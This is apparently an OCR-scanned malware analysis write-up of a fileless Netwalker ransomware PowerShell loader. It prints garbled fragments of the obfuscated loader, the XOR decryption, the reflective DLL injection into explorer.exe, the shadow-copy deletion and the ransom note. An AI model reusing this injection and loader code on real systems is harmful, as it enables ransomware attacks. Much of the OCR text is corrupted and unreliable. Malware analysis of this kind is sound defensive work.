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Hi! | have lately started delving into maliious powershell payloads and came across a really intriguing
powershell loader for “Netwalker ransomware”, performing fileless attack. Fileless techniques enable attackers
to directly load and execute malicious binary in memory without actually storing it on disk by abusing available
legitimate tools on victim machine. Such threats leave no trace of execution and are capable of evading any
traditional security tools. This post thoroughly discusses how first stage powershell script filelessly loads and
executes embedded payload through reflective DIl injection.

SHA-256 hash of the sample being analyzed:
f4656a9af30e98ed2103194f798fa00fd1686618e3e62fbabb15c9959135b7be

Prior knowledge required:

¢ Basic Powershell understanding
o using .NET reflection to access Windows API in PowerShell
o Windows APIs for Process/DlIl injection

This is around ~5 MBs of powershell script using three layers of encoding, encryption and obfuscation
respectively to hide ransomware dll and supporting powershell commands for reflective DIl injection. The
uppermost layer executes very long base64 encoded command (screenshot covers only a small portion of this
command)

InVokE-ExPRESSIoN -COMmand $([StrinG]([SySTEM.TexT.ENcOdInG]::ASCIT.GETStRiING([SysTEM.CoNVErT]: :FRomBAsSEG4S5tR
iNG("ICAgICBbYL1URVtdXSAgICAgICAQICR1IRkdDU2pXSOtQcUXHUEL1ZcCAgICAQICAgIDOgICAgICAgDQoNCgOKDQoNCgOKQCgweDY3LDB4
NjcsMHgxQywweDI1LDB4M2UsMHgzMywweDIyLDBAMWMsMHgxQSwweDFBLDBANj csMHg2NywweDY3LDB4ANj csMHg2NywweDY3LDB4ANj csMHg2N
ywweDY3LDB4NjMsMHgzNywweDMzLDB4AMDEsMHgzMSwweDBDLDB4MjMsMHg zMywweDM2LDB4Nj csMHg2NywweDY3LDB4Nj csMHg2NywweDY3LD
B4NjcsMHg3YSwweDY3LDB4NjcsMHg2NywweDY3LDB4NEEsMHgORCwweDA3LDB4ANKYsMHg3NywweDNmLDB4M]jYsMHgyMywweDZiLDB4NzcsMHg
zZiwweDIzLDB4MjIsMHg2QiwweDc3LDB4MOYsMHg3ZSwweDc3LDB4NkIsMHg3NywweDNGLDB4NzcsMHg3NywweDZCLDB4NzcsMHgzRiwweDc3
LDB4NzQsMHg2YiwweDc3LDB4MBYsMHg3NywweDc3LDB4NkI sMHg3NywweDNmLDB4NzcsMHg3NywweDZCLDB4NzcsMHgzZiwweDc3LDB4NzcsM

Hg20iwweDc3LDBAMOYsMHg3NywweDcz LDBANmI sMHg3NywweDNmLDB4Nz csMHg3NywweDZCLDB4NzcsMHgzRiwweDc3LDBANzcsMHg2Y iwweD
c3LDBAMBYsMHg3NywweDc3LDBANKIsMHg3NywweDNmLDB4AM]j EsMHgyMSwweDZCLDBANZcsMHgzZ iwweDIxLDBAMjEsMHg2Y iwweDc3LDBAMOY
sMHg3NywweDc3LDBANmIsMHg3NywweDNmLDB4Nz c sMHg3NywweDZCLDBANzcsMHgzZiwweDI1LDB4AN2Y sMHg2Y iwweDc3LDB4AM2Y sMHg3Nyww
eDc3LDBANmIsMHg3NywweDNmLDBANz csMHg3NywweDZiLDB4NzcsMHgzRiwweDc3LDB4NzcsMHg2QiwweDc3LDB4M2YsMHg3NywweDc3LDB4N
mIsMHg3NywweDNGLDB4NzcsMHg3NywweDZCLDB4NzcsMHgzRiwweDc3LDB4NzcsMHg2QiwweDc3LDB4MOY sMHg3NywweDc3LDBANKIsMHg3Ny
wweDNmLDB4NzMsMHg3NywweDZCLDB4NzcsMHgzZiwweDc3LDB4NzcsMHg2Y iwweDc3LDB4MOYsMHg3NywweDc3LDB4NkIsMHg3NywweDNmLDB
4NzcsMHg3NywweDZCLDB4NzcsMHgzRiwweDc3LDB4NzcsMHg2Y iwweDc3LDB4MOYsMHg3NywweDc3LDB4NmIsMHg3NywweDNmLDB4NzcsMHg3
NywweDZCLDB4NzcsMHgzRiwweDc3LDB4NzcsMHg2Y iwweDc3LDB4MOYsMHg3NywweDc3LDB4ANmIsMHg3NywweDNGLDB4NzcsMHg3NywweDZCL

Processing Base64 encoded layer 1

In order to get decoded output from initial script, | shall run powershell script into my VM’s Powershell ISE but
as the Invoke-Expression cmdlet will process base64-encoded payload and execute the ransomware therefore,
I’ll modify the script for debugging by replacing this comdlet with a variable to store result of base64 decoded
command and dump output in a file as shown in the figure below

| dantepsl X &

1 fdecode ${[5trinG] ([5ySTEM. TexT.ENcOdInG ASCII.GETStRING( [ SysTEM.CoNVErT FRomBASEG4StRING("ICAQICELYTTURVEdX #
2 Write-Output Sdecode -

0 :

P5 > .“dante.psl | Out-File -FilePath .‘decodedlayer2.ps1l

Processing Encrypted layer 2
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https://0x00-0x7f.github.io/Netwalker-from-Powershell-reflective-loader-to-injected-Dll/
https://labs.sentinelone.com/netwalker-ransomware-no-respite-no-english-required/
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/security-101-how-fileless-attacks-work-and-persist-in-systems
https://bazaar.abuse.ch/download/f4656a9af30e98ed2103194f798fa00fd1686618e3e62fba6b15c9959135b7be/

base64 decoded second layer once again contains a very long bytearray in hex format which is processed in
two steps

[bYTE[]] $eFGCSjWKKPgLGPIYp =
@(0x67,0x67,0x1C,0x25,0x3e,0x33,0x22,0x1c,0x1A,0x1A,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x63,0x37,0x
x0C,0x23,0x33,0x36,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x7a,0x67,0x67,0x x67,0x4A,0x4D,0x07,0
,0x23,0x6b,0x77,0x3T,0x23,0x22,0x6B,0x77,0x3F,0x7e,0x77,0x6B,0x77, G<3F 0x77,0x77,0x6B,0x77,
Gxﬁb,@(?? 0x3F,0x77,0x77,0x6B,0x77,0x3f,0x77,0x77,0x6B,0x77,0x3f,0x77,0x77,0x6B,0x77,0x3F,0x77
,0x73,0x6b,0x77,0x3f,0x77,0x77,0x6B,0x77,0x3F,0x77,0x77,0x6b,0x77,0x3F,0x77,0x77,0x6B,0x77,0x3f,0x21,0x21,0x6
B,0x77,0x3f,0x21,0x21,0x6b,0x77,0x3F,0x77,0x77,0x6b,0x77,0x3T,0x77,0x77,0x6B,0x77,0x3f,0x25,0x7f,0x6b,0x77,0x
3f,0x77,0x77,0x6b,0x77,0x3f,0x77,0x77,0x6b,0x77,0x3F,0x77,0x77,0x6B,0x77,0x3f,0x77,0x77,0x6b,0x77,0x3F,0x77,0
x77,0x6B,0x77,0x3F,0x77,0x77,0x6B,0x77,0x3F,0x77,0x77,0x6B,0x77,0x3f,0x73,0x77,0x6B,0x77,0x3f,0x77,0x77,0x6b,
Ox77,0x3F,0x77,0x77,0x6B,0x77,0x3T,0x77,0x77,0x6B,0x77,0x3F,0x77,0x77,0x6b,0x77,0x3F,0x77,0x77,0x6b,0x77,0x3f
,0x77,0x77,0x6B,0x77,0x3F,0x77,0x77,0x6b,0x77,0x3F,0x77,0x77,0x6b,0x77,0x3F,0x77,0x77,0x6B,0x77,0x3F,0x77,0x7
7,0x6b,0x77,0x3F,0x77,0x77,0x6b,0x77,0x3f,0x77,0x77,0x6b,0x77,0x3T,0x77,0x77,0x6b,0x77,0x3F,0x77,0x77,0x6B,0x
77,0x3F,0x77,0x77,0x6B,0x77,0x3F,0x77,0x77,0x6b,0x77,0x3F,0x77,0x77,0x6B,0x77,0x3F,0x77,0x77,0x6B,0x77,0x3F,0
x77,0x77,0x6B,0x77,0x3F,0x77,0x77,0x6b,0x77,0x3F,0x77,0x77,0x6B,0x77,0x3f,0x77,0x77,0x6b,0x77,0x3F,0x77,0x77,
Ox6b,0x77,0x3F,0x77,0x77,0x6B,0x77,0x3f,0x77,0x77,0x6b,0x77,0x3F,0x77,0x77,0x6b,0x77,0x3f,0x77,0x77,0x6B,0x77
,0x3T,0x77,0x77,0x6b,0x77,0x3T,0x77,0x77,0x6B,0x77,0x3f,0x77,0x77,0x6B,0x77,0x3F,0x77,0x77,0x6B,0x77,0x3f,0x7
7,0x77,0x6B,0x77,0x3F,0x77,0x77,0x6B,0x77,0x3T,0x77,0x77,0x6B,0x77,0x3F,0x77,0x77,0x6B,0x77,0x3F,0x25,0x7T,0x
6b,0x77,0x3F,0x77,0x77,0x6b,0x77,0x3f,0x77,0x77,0x6b,0x77,0x3F,0x77,0x77,0x6B,0x77,0x3F,0x77,0x22,0x6B,0x77,0
x3F,0x76,0x21,0x6B,0x77,0x3F,0x25,0x26,0x6b,0x77,0x3f,0x77,0x22,0x6B,0x77,0x3f,0x77,0x77,0x6B,0x77,0x3f,0x25,

1) bytearray contents are decrypted in a for loop with 1 byte hardcoded xor key

($qT0JS5cZVUn = 0; $QT0jsCZvUn -1t $eFGCSjWKKPQLGpIYP.LeNgth; $qt0Js

SEFGI KPqlGpIYP[$qt0JscZVUN] = $EFGCSIWkkPgLGPIYP[$0t0JscZvUN
}

spDIJNSNEwQy = [SYSteM.TExt.EnCODiNg]: :ASCII.GEtStRIng($eFGCSjWKKPQLGPIYP)

2) decrypted contents are stored as ASCII string in another variable in order to be able to create scriptblock for
decrypted contents and execute it using Invoke-Command cmdlet

spDJjNSNEwQy = [SYSteM.TExt.EnCODiNg]::ASCII.GEtStRIng($eFGCSjWKKPQLGPIYP)

pI0ZoleKuXXbA SCRiPtb1OCK] : :CreAtE($PDJjNSNEWQy )

{E-CoMMaND SCRipt {  $UQYPIoZOLEKuXXBA

but | shall also modify second layer to get decrypted layer three contents and dump result into another output
file as shown in the figure below

1 bYTE $eFGCSjWKKPGLGPIYD -
2
3
4
5
6
7 @{0x67 , 0167 ,0x1C, 0x25 ,0x3e, 0x33,0x22 , Oxlc, Ox1A , OxlA, Ox67 ,0x67 , 0x67 ,0x67 , 067, 0x67 , 0x67 , 067, 0x67 ,0x63 ,0x37 . 0x33, 0x
8 g
9 for ( S$gTOJIScZVUn 0; $QTO3sCZvlUn $eFGCSIWKKPOLGPIYP. LeNgth; $qt0Isc

10

11 =

1z FEFGCSIWKKPQlGpIYP [$gt0JscZVUN $EFGCS5IWkkPgLGPIYP [3Qt0]scZwUN Ox47

13

14 1

15

16

17 $pDJNSNEWQy SYSteM. TExt.EnCODiNg] : :ASCII. GEtStRIng{ SeFGCSiWKkPQIGPIYP )

18 Write-Output %pDJjNSNEwWQy

19

20 #5UgYpI0ZoleKuXXbA = [SCRiPtb10CK]::CreAtE( $PDIjNSNEWQyY b}

21

22 #INVoKE-CoMMaND -SCR1ptBLock SUQYPIoZOLEKUXXBA

4 3

x .\decc-ddlayerz.psl | Out-File -FilePath .‘\decryptedlayer3.psl » :
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decryptedlayer3.ps1 now contains the obfuscated layer three powershell script embedding ransomware dlls in
bytearrays and other commands to process the malicious payload

[byte[]1] $ptFvKdtq =
@l0xad, Oxde, 0x90, 0x00,0x03, Bx00, 0x00, 0x00, 0x04 , 0x00 , 0x00, 0x00, 0xff, 0xff,0x00,0x00,0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40 , Dx006

[bytel]] 3G, k =
@(0xad, 0xde,0x90,0x00,0x03, 0x00, 0x00 , 0x00, 0x04 , 0x00, 0x00, 0x00, 0xTf, 0xff,0x00,0x00,0xb8, 0x00,0x00,0x00, 0x00, 0x00 , 0x00, 0x00, 0x40 , 0x00

Processing Obfuscated layer 3

Let’s start digging into layer three powershell script which is quite obfuscated having lengthy and random string
variable and routine names responsible to drop final payload. It is required to perform following steps in order to
execute Netwalker ransomware on victim’s machine

« define variables to invoke in-memory Windows API function calls without compilation

define routines to load dll without using Windows loader

detect environment

get PID of a legitimate process from a list of running processes and inject payload via custom loader
delete shadow copies

First off, it defines required variables and routines:

to invoke in-memory Windows API function calls without compilation, C# code to declare structs and
enums for memory manipulation is defined inside a variable as shown below

44

ENbPwRRujnbTf;
public UInt32 Nu PhbAI ;
}

[StructLayout i ential)]
publi g

public UIntlé
public UIntle
public UIntl6

public

public
public

public UInt16
public UIntl6 MfipgTZY
public
public

and to invoke kernell32.dIl APIs using wrapper .Net methods available in powershell
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$TkGRAUU

n IntPtr 1

tUoFmJF, UInt3

JedInpc, UInt

r, UInt3 Cdf, IntPtr AM fh, IntPtr

TypeDefinition $HSGYBYNWMvmUzCv -Language CSharp $AaauDVCQML ype -MemberDefinition $fkGRAuU -Name u MLK] Namespace "
PassThru

final command in this case will let us instantiate objects by making Microsoft .Net core classes available in our
powershell session and ensure ransomware’s true memory residence through reflection.

Following set of routines help correctly compute required memory addresses and relocations by casting
integer datatypes (signed integers to Unsigned integers and vice versa) so that the script could act as its own
custom loader and load dll without using Windows loader

Function jGHCogMzZJIgMikXBIJ

A1
Function REeMnMHwnbMNEok
Hi
Function ULhnbeyXERLVVCGXUp
A1
Function pmWsENpD
{
Faram {
[Parameter (Fosition = 0, Mandatory = S$true) ] |[Intle]] StUIEEwzZsWaWVocKeELS
)
[Bvte[l]l1S$nPajstrdaZpNP = [BitConverter]::GetByvtes (StUIEKwzRsWaWVoEeKZ5)
return [([BitConverter]::ToUIntlél{$nPajstrdaZpNE, 0))
1

Finally it defines a bunch of routines to write embedded malicious binary into another process’s memory and
execute it.

Script starts its execution by detecting underlying processor’s architecture to know whether it is running on x86
or amd64 and to prepare 32-bit or 64-bit dll accordingly using following if-else block
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[byte[]]$EbihwfodUZMKENCBX = $ptFvKdtg
$aukhgazFiPJBarSpJc = $false
if ( ( Get-wWmiObject Win32_processor).AddresswWidth -eq 64 )
{
[byte[]]$EbihwfodUZMKENCBX = $GxwyKvgEKkr
$aukhgazFiPJBarSpJc = $true
if ( $env:PROCESSOR_ARCHITECTURE -ne 'amd64' )
{
if ($myInvocation.Line)
{
&"$env:WINDIR\sysnative\windowspowershell\v1l.0\powershell.exe" -ExecutionPolicy ByPass -
NoLogo -NonInteractive -NoProfile -NoExit $myInvocation.Line
}
else
{
&"$env:WINDIR\sysnative\windowspowershell\v1l.0\powershell.exe" -ExecutionPolicy ByPass -
NoLogo -NonInteractive -NoProfile -NoExit -file "$($myInvocation.InvocationName)" $args
}
exit $lastexitcode
}
}

later it allocates memory in current process’s address space and starts writing dll on the allocated memory
using following for loop

for( $dxQpkwU = 0; $dxQpkwU -1t $TKgfkdkQrLMAN.KGcnFrQVhkckQriBC.nKkeCknfm; $dxQpkwU++ )
{

$PdWhwldJHtQhtsMJe = [System.Runtime.InteropServices.Marshal]::PtrToStructure(
$1ItUIbvCvHXxzMmrKtX, [Type] [Fvh.wTEWKRjOgBX] )

$rZKYDi0OJE = RBeMnMHvnbNEob $eIr $( ULhnbcyXERLVVtGXUp $PdwWhwldJHtQhtsMJe.sUtYsMhA )

$MxyiIYGMhxakrDbKyjL = RBeMnMHvnbNEob $upEcLTMCGhc $( ULhnbcyXERLVVtGXUp
$PdWhwldJHtQhtsMJe.cymIspbCOaY )

$mofizZSsnxylxNuA = $AaauDVCQMIKUXx: :PMUN( $VxxHhZYpWSgsPvKNuDx, $MxyiIYGMhxakrDbKyjL, $rzZKYDiOJE,
$PdWhwldJIHtQhtsMJe.mkvugoDzrJgTSSJp, [ref]([UInt32]0 ) )

if ( $mofizSsnxylxNuA -eq $false )
{

return

}
$1ItUIbvCVvHXxzMmrKtX = RBeMnMHvnbNEob $1ItUIbvCvHxzMmrKtX

$([System.Runtime.InteropServices.Marshal]::SizeOf([Type][Fvh.wTEWKRjOqBX]))
}

snapshot of object containig dll that gets written into current process’s memory
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]
H ]
]
]
: 1610612768

: 1073741888

: f., d, a, t...}

: 94208

: 512

: Bo60le

urbWePRArooJANiLDKaG -
Udyxgdfh 3

HTyTUwv1 bdDzPs s
* . i

: 93304

: 3584

: BB328

Hi]

]

H1]

]

: 1073741588

3 92

: 102400
: 5632

: 90112
H ]

after that it calls following routine with certain parameters to inject payload by specifying a legitimate target
process which is ‘explorer.exe’ in this case along with memory location pointer for buffer containg DIl and size
of the buffer containing dll

0zes0BwrUGaviaPvkVy lorer’ $upEcLTMCGhc $TKgfkdkQrLMAN.AzOVgkIsqtmgykQIb.XNkbT $TKgfkdkQrLMAN.

AzOVgkIsqtmgykQIb.UJXRvKZSoPevEdq]jjiTT iP] ([ref]$rbwueXQHo)

this routine finds PID of explorer.exe form a list of running processes and passes obtained PID to final routine
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function pzesO0BwrUGaviaPvky
{ .
PELELT
[Parameter( 10 B , Mandatory = $true)] [string] $KAvfmz,
[Parameter( 0 1, M $true)] [IntPtr] $xNzBgsmuPSxepeXTU,
[Parameter( 2, Mang $true)] [UInt32] $wXOfywEzzKunLGBdryY,
[Parameter o 3, P $true)] [UInt32] $uattXw,
[Parameter( 0 I $true)] [booll $PTQAUErxQuTT,
[Parameter(Positio 5 , Mandatory = $true)] [refl $uKSucbwihgEzRYkhkNs
)

SuKSuchwihnF7RYkhkNs walue = £falze
foreach ( $IYLRmbaRh get-process $KAvfmz )

$rKEJUAL = $IYLRmbaRh.id
[ $PTQAUErxXQvTT -eq $true )

$rKEJUAL = 0;
£SxkjsUpqTLtoSUI = sfalse
foreach ( $VkcY $IYLRmbaRh.modules )

( $VkcY.filename -eq 'wow6d.dll' )

$SxkjsUpqTLtoSUI = $true

}
( $SxkjsUpqTLtoSUL -eq $false )
{

S$rKEJUAL = $IYLRmbaRh.id

1
( $rKEJUAL -ne @ )
( $IYLRmbaRh.mainwindowhandle -ne &

SLuyIwZil = 0@
UjS0lmIVajpskSFV $rKEJUAL $xNzBgsmuPSxepeXTU $wXQTywEzzKunlLGBdrYY $uattXw $PTgAUErxQvTT ([reflsLuyIwZil)

which first reflectively injects ransomware dll into explorer.exe by allocating a chunk of memory of specified size
into its address space and writing ransomware dll on the allocated memory and then executes it by creating a
thread that runs in the virtual address space of Explorer.exe process

$FRcikVieTCanXYhHIFT .value = $false
- - gets process handle for

$Wghsz = $AaauDVCOMLKUXx: :dzsnkxswWljxolKwLCW( [UInt32]0x43A, $false, [UInt32]15qpzARSTRphDVjweOD ) =

( $Wghsz -ne 0 )

calls VirtualAlloc to allocate
4)

$WEZe = $A3auDVCQMLKUXx::1sJtHM( 0, $TRwspBzVDdwZlRgwH, 0x0000100C memaory

{SWEZE —TiE U

SuNnHdy ryEiQj ImLqpMQ0 = $AaauDVCQMLKUXx: : rGRyDaNP ()
$HOomaY = $AaauDVCOMLKUXx: :PMUN( $uNnHdyryEiQjImLqpMQO, $WEZe, $jVZTpja, $TRwspBzVDdwZlRquH, [refl([UInt32]0 ) )
( $HOomaY -eq $true )

$VIOb = $AaauDVCQMLKUXx: :uLYvBBDjnrxUs( [IntPtrlsWghsz, 0, $TRwspBzVDdwZlRqvH, 0x0000100
( $VIOb -ne @ )

{
( $rQZynJrPEEilugNz -eq $false )
{

$WLTLLEP = [System.Runtime.InteropServices.Marshall::PtrToStructure($weZe, [Typel [Fvh.jrglull)

$yRSSKOTGVRmLzK = [System.Runtime.InteropServices.Marshall::PtrToStructure($(RBeMnMHvnbNEob $WEZe $(ULhnbcyXERLVVtGXUp
$wLTLLEP.JOKB)), [Typel[Fvh.iIARR] )

qGDKNThnYgl1XZ $WEZe $VIOb $yRSSKOTGVRmlzK.AzOVgkIsqtmgykQIb.SsheECGcrMBTG.hJuF $(ULhnbcyXERLVVEGXUp $yRSSKOTGVRmlzK.
Az0VgkIsqtmgykQIb.KqELTXfIXPzsmd )

5
calls

J
$HOOmaY = $AaauDVCQMLKUXx: :PMUN( $Wghsz, $VIOb, $WEZe, $TRwspBzVDdwZlRqvH, [refl([UInt3210 ) ) | |writeProcessMemoryto

(SAUGIET —€q $LIue ) write dil into
Explorer.exe

$whbfgcelLVPwXQym = RBeMnMHvnbNEob $VIOb $( ULhnbcyXERLwVEGKUp ( $Gxh ) )
$GVKnIOH = $AaauDVCOMLKUXx::ZPbaRSa0( $wghsz, 0, 0, $whbfqcelLVPwXQym, 8, 8, 0 )
U SOVKINLIUR -Tig 0 f launches dll into new
. thread by calling
$EBcikVjeTCapXYhHIEI.value = $true CreateRemoteThread

¥

$A3auDVCOMLKUXx: :iKbJ( $WEZe, ([UInt32]0), @ 3 Out-Null




and in the end deletes shadow copies of the data being held on the system at that particular time to completely
eliminate any possibility of recovering it and performs required memory cleanup using following set of
commands

Get-WmiObject Win32 copy al ($ .D );} | Out-Null
SAddULY KL | ] ( i ] J UUT-NULL

$AaaubDVCoML ) ( ! vKNuDx) | Out-Null

as soon as script exits, FE026B-Readme.txt window appears on the system with ransom message and all
encrypted files with fe026b extension are no longer accessible

| FE026B-Readme.bxt - Notepad P >

File Edit Format View Help
Hi! -
Your files are encrypted by Netwalker.

A1l encrypted files for this computer has extension: .fe026b

If for some reason you read this text before the encryption ended,

this can be understood by the fact that the computer slows down,

and your heart rate has increased due to the ability to turn it off,

then we recommend that you move away from the computer and accept that you have been compromised.
rRebooting/shutdown will cause you to Tlose files without the possibility of recovery.

our encryption algorithms are ver{ strong and your files are very well protected,
the only way to get your files back is to cooperate with us and get the decrypter program.

Do not try to recover your files without a decrypter program, you may damage them and then they will be impossible to recov

m

For us this is just business and to prove to you our serijousness, we will decrypt you one file for free.
Just open our website, upload the encrypted file and get the decrypted file for free.

Steps to get access on our website:
1.pownload and install tor-browser: https://torproject.org/

2.0pen our website: pb36huds 1chjdfhﬁng?h3pw6dhpk32ifemawkugj4gp33ejqu3did.onion
If the website is not available, open another one: rnfdsgméwb&jésuStxkekwdudyd7kp2eatvuidaexhynscs4l1tdpdrgqd. onion

3.Put your personal code in the input form:

{code_fe026hb:

X+emHdEmQkU7roenwFa9zE85IymeYRZWU7 0SPHMbX3 1p7a7iTC
c+msSNBrQthyLFiFvdo64ckeIdN3alNicCjjaFuzrXxEaQrsLOSh | 8
5Dh1967bpIT3ZWUFEXOG,/ruSuy02h9zCoSUETCOKDRNUVILEVW
wDAba3ZtBCcHwg6DY9Z 1r 19upeDMDUB4 bufZzhobMmbQwmdgSac5E

4 | 11 b

Note: Ransomware dll being injected can be dumped into a binary file in powershell script, which has SHA-256
3021f75667460accbbd909275cf912f4543c4fb4ea9f0d0bad2f4d5e6225837b hash but it can be seen that it is
64-bit PE file and first two bytes in this case have wrong hex value 0OxDEAD
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https://www.virustotal.com/gui/file/302ff75667460accbbd909275cf912f4543c4fb4ea9f0d0bad2f4d5e6225837b/detection

Offset(h) 00 01 02 03 04 05 06 OF7 08 09 O& OB OC OD OE OF Decoded text
00000000 00 03 00 00 00 04 00 00 00 FF FF 0O i

00000010 00 00 00 00 00 OO0 40 00 00 00 00 00 OO

00000020 00 00 00 00 0O 00 00 OO0 00 00 OO0 OO0 00 OO0 OO

00000030 00 00 00 00 0O 00 00 OO0 00 00 00 00 CO 00 0O

00000040 OE 1F BA OF 00 B4 09 CD 21 B8 01 4C CD 21 54

o
=

Q0000050 ©9 73 20 7O T2 6F €7 TZ 6l 20 83 &1 8E 6E &F 1is program cann

Q0000060 T4 20 &2 65 20 72 75 €E 20 €9 6E Z0 44 4F 53 Z0 t be run in DOS
00000070 6D 6F 64 65 2E 0D OD OR 24 00 00 OO0 00 00 00 00 mode....$......
00000080 00 OO0 OO0 00 OO0 OO0 00 00 00 OO0 00 00 00 00 00 00 ... ceevunnnnn
Q0000080 00 00 OO0 00 OO0 OO0 OO0 00 00 00 00 00 00 00 00 00 ... iecennrnsnns
000000AQ ©00 00 OO0 00 00 OO0 OO0 OO0 OO0 OO 00 00 00 00 00 00 +suvevennanansnn
QQ00000B0 00 OO0 OO0 0O 00 OO0 OO0 OO0 00 OO0 00 00 00 00 00 00  ...u.ecicrennnnnnn
Q00000C0 50 45 00 00 &4 26 05 00 €6 34 AD SE 00 0O 00 00 PE..dt..f4."...
00000000 00 00 00 00 FO 00 22 20 0B 02 OE 10 00 32 01 0O AL L 2.
000000EC 00 40 00 00O 00 00 00 00 40 FD 00 OO0 00 10 00 00 [ B¥.....
000000F0 00 00 O0 B0 01 OO0 OO0 OO0 00 10 00 00 00 02 00 00 P,
00000100 ©O6 00 00 00 00 OO0 OO0 00 05 00 00 00 00 00 00 00 sevevenmanansnn
00000110 ©00 BO 01 00O 00 O4 00 OC 00 OO0 OO0 Q0 02 00 60 01 e
Q0000120 00 00 10 00 00 OO0 OO0 OO0 00 10 00 00 00 00 00 00 .. ueierennnnnnn
Q0000130 00 00 10 00 00 OO0 00 OO0 00 10 00 00 00 00 00 00  ..u.eierennnnnnn
00000140 00 00 00 00 10 00 00 OO0 00 00 00 00 00 00 00 00 ... eiunnnnnnn
00000150 00 00 OO0 00 00 OO0 00 00 00 %0 01 00 F8 14 00 00 ............ =.
00000160 OO0 80 01 OO0 5C OD OO0 OO0 00 00 00 00 00 00 00 00 .€..N.euvuiurnns
00000170 ©00 00 00 0C 00 00 OO0 00 80 54 01 00 38 00 00 00 +uvenens €T..8
Q0000180 00 OO0 OO0 0O 00 OO0 OO0 OO0 00 OO0 00 00 00 00 00 00  ...u.cieriunnennnn
Q0000190 00 00 00 00 00 OO0 00 OO0 00 OO0 00 00 00 00 00 00 ... eiennennnn
000001R0 OO0 00 OO0 00 00 00 00 OO0 00 00 00 00 00 00 00 00 ... eiunnennnn
000001B0O 00 OO0 OO0 0O OO0 OO0 00 00 00 OO0 00 00 00 00 00 00 . .....ccevuecann
000001CO 00 00 00 OO0 OO OO0 00 OO0 2E 74 &5 78 74 00 00 OO f ......n.. text..
00000100 21 31 01 00 00 10 OO0 00 00 32 01 00 00 04 00 OO g 'l...vuun 2eaaan
QO00001EQ 00 OO0 OO0 0O 00 OO0 OO0 OO0 00 00 00 00 20 00 00 €0 f ... oeennn. .
Q00001F0 2ZE 72 64 61 74 &1 00 00 20 1% 00 OO0 00 50 01 00 f .xdata.. ....P.
Q0000200 00 1R 00 0O 00 36 01 OO0 OO0 0O 00 OO0 00 00 00 00 7. LR -

replacng first two bytes 0OXxDEAD with 0x4D5A in DOS header in HxD editor would result in Netwalker
ransomware dll with f93209fccd0c452b8b5dc9db46341281344156bbedd23a47d2d551f80f460534 SHA-256
hash.

Deciphering Netwalker x86-64 DLL

Let’s load final dll in IDA and perform basic static analysis first, I'll start by looking up for strings, but they are
mostly useless, moreover, it has only one export i.e., main entry which seems to implement all its functionality

Ordina

3000FD40 [main entry]

second important thing to note here is that it has no imports address table, which implies that it might be
obfuscating APls or strings with some hashing or encryption algorithm, this can be verified by loading the dll in
PEID and looking for possible algorithms in its Krypto ANALyzer plugin which shows multiple references to
different encoding, hashing and encrypt/decrypt algorithms in dil as shown in the figure below
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https://www.virustotal.com/gui/file/f93209fccd0c452b8b5dc9db46341281344156bbedd23a47d2d551f80f460534/detection

BASER4 table :: 98013848 :: AGPOARA1Z0015248
The reference is abow
2 [poly] aeaaa7s
2 [poly] aea8a7DA
[poly] BeaeaTEA
[poly] Baeae7Fa
[poly] aea8asas
[poly] aeaaas1c
[poly] Baeaas2c
[polv] aeaaaddl
[poly] A6885184 128885084
lpoly] 28885105 2888505
[poly] 888a5105
[poly] Beeas1Es
[poly] BB8A51FE
[poly] 28885287 20885E87
[poly] Be8d5218 80885E18
[poly] aeaa5229 188885E29
[poly] aeaa5 280 E88a5EBD
[poly] Baeas2CcF
[poly] B88a520F
[poly] BEaa52Fa
[poly]
[poly]
[poly]
[poly]
[poly]
[poly] 20811044
2 [poly] 80811084
2 [poly] @6a11DC5
[poly] 88811005
[poly] Bea11DEE
[poly] 8e8110F6
[poly] @8a11E87
[poly]
[poly]
[poly]
[poly]
[poly]
[poly]
[poly]
[poly]
[poly]
[poly]
[poly]
[poly]
[poly]
[poly]
[poly]
2 [poly] 1 81
RIJNDAEL [5] [char] egg13c3e aoaoaaalzealsaia
har] :: eeal I BEee0RelIea15130
:: AOBEGEE138815320

If I randomly pick a CRC32 reference and look it up in dll, it is found in sub_180005D60 routine being used in a
loop
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I

mow
shr
and
neg
and
Xor
MoV
shr
and
neg
and

int8)v8 A (unsigned _int8)v3
(((unsigned

-(vi2 & 1) & © @) > unsi int8) 0x20) & 1) & © 1) ~ -(((unsigned __int8)((vil ~ -(v12 & 1) & @
ned __int8)vil ¢

let’s rename this routine to crec32_checksum and look for its cross references, result shows it is cross
referenced two times in sub_180001000, if this routine is subsequently checked for further cross references, it
shows ~165 references
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ol

=] wrefs to sub_180001000

sub_1
sub_1

sub_1
sub_1
sub_1800011
sub_1
sub_1

sub_1
sub_1

we can assume here that the routine sub_180001000 being cross referenced ~165 times is possibly decrypting
strings, I'll rename it to decrypt_strings

now let’s take a closer look at sub_180001490 routine which almost has all the Xrefs to decrypt_strings,
following code shows it is taking two arguments v1, which is being used in all of its calls and a 4-byte hex value
which seems to be CRC32 hash and retrun value is being stored to different offsets of an array

+
+
8 +
8 +
+
+
+
+
+
8 +
+
+
+
+
+

oo &

decrypt_string
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this routine has multiple similar code blocks but with different hash values, here it can be assumed that it is
decrypting APIs from different libraries, let's rename it to resolve_imports and look for its Xrefs which leads to
DLL’s main DIIEntryPoint routine - now it's time to look into it dynamically.

First routine that is being called by DLL is resolve_imports, which in turn calls sub_180001310 routine, it is
taking 0x84C05E40 hash value as parameter, a quick Google search shows it is for “ntdIl.dIl” which can also
be verified with Python

(zlib.crc32(
'0x84c05e40'

this routine returns handle for ntdll.dll library, later it takes another hash value 0xA1D45974 which is resolved
to RtlAllocateHeap API, it is first called to allocate a block of memory on heap to later store resolved
addresses there on different array indexes

40:55 push rbp resolve_imports
53 push rbx
48:8D6C24 B1 lea rbp,qword ptr ss:flrsp-4F[]
48:81EC F3000000 = —
B9 405ECO84 10 | ntdll.dll
E8 BFFEFFFF 4 = F20T0ef040228e18b426d00. get_d11_handle=
45: 8EDS mov rbx,rax
48:85C0 test rax,rax
~ 0OFB4 66140000 L = genfnefo40228218b426d00. FTFEF1A7291B
BA 74590441 mov_edx, 4104537 4 | RtlAllocateHeap
4B: BECS TR, TN
ES 3EFBFFFF call <fscarr33sazofoefo40228e18b426d00. _decrypt_apis_=
48:85C0 test rax,rax
~ 0OFB4 50140000 je f5c877335920f0ef040228218b426d00. FFEF1A7291B
6548: BEOC25 60000000 | mov rox,qword ptr [ll: [50]
EA 0S000000 mov edx, 2
